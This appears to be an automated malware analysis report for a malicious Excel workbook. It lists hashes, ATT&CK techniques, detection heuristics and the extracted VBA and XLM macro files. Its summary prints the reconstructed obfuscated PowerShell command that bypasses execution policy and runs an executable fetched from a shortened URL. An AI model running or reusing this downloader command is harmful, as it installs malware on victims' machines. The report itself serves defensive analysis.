Office (OLE) / .XLS malware analysis — malicious · 931ae2d790adb9a7

MALICIOUS

Office (OLE) / .XLS

88.0 KB Created: 2020-10-25 18:24:14 Authoring application: Microsoft Excel

MD5: 300d0a7456ebc073e892b2a93e56fd36 SHA-1: 19fd142facce01ca1e8c612f50fb55c62e9c35bf SHA-256: 931ae2d790adb9a7970bd99bf1970f81a718aac6975a4135d8d8ccb2a29d8682

140 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains both VBA and XLM macros. The XLM macro attempts to download a file named 'xv.exe' from 'https://tinyurl.com/y3bmr46f' using PowerShell and then execute it. The VBA macro also attempts to run a macro named 'ok', which likely triggers the XLM macro's functionality. The reconstructed PowerShell command is: powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/xv.exe'). This indicates a downloader functionality.

Heuristics 4

ClamAV: Xls.Malware.Abracadabra-10031695-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Abracadabra-10031695-0
Auto_Open macro high OLE_VBA_AUTO

Auto_Open macro
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `a80aa6bc73735b284d812079886829462e8a31d1c0b9e8f0e49b76eaa34afee9`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1726 bytes
`macros.bas` `953bf125fb95a97d67f1dfae6bad54545952dd76d888d2a1cbcc94e4187e5630`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1065 bytes

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